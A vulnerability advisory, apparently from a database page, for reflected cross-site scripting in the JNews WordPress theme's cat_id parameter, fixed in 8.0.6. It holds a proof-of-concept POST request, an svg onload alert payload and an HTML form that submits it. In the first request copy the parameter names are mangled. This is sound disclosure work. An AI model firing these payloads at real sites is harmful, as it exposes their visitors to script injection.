Description
The theme did not sanitise the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*), leading to a Reflected Cross-Site Scripting (XSS) issue.
### PoC
POST /?ajax-request=jnews HTTP/1.1 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 130 Connection: close lang=en_US&cat;_id=6">&action;=jnews_build_mega_category_2&number;=6&tags;=70%2C64%2C10%2C67
Affected Software
CPE Name
Name
Version
jnews 8.0.6
Related
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q=0.01\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: 130\r\nConnection: close\r\n\r\nlang=en_US&cat_id=6\"><svg/onload=alert(/XSS/)>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67\r\n\r\n\r\n<html>\r\n <body>\r\n <form action=\"https://example.com/?ajax-request=jnews\" method=\"POST\">\r\n <input type=\"hidden\" name=\"lang\" value=\"en_US\" />\r\n <input type=\"hidden\" name=\"cat_id\" value=\"6"><svg/onload=alert(/XSS/)>\" />\r\n <input type=\"hidden\" name=\"action\" value=\"jnews_build_mega_category_2\" />\r\n <input type=\"hidden\" name=\"number\" value=\"6\" />\r\n <input type=\"hidden\" name=\"tags\" value=\"70,64,10,67\" />\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n </body>\r\n</html>\r\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}]}
JNews < 8.0.6 - Reflected Cross-Site Scripting (XSS)
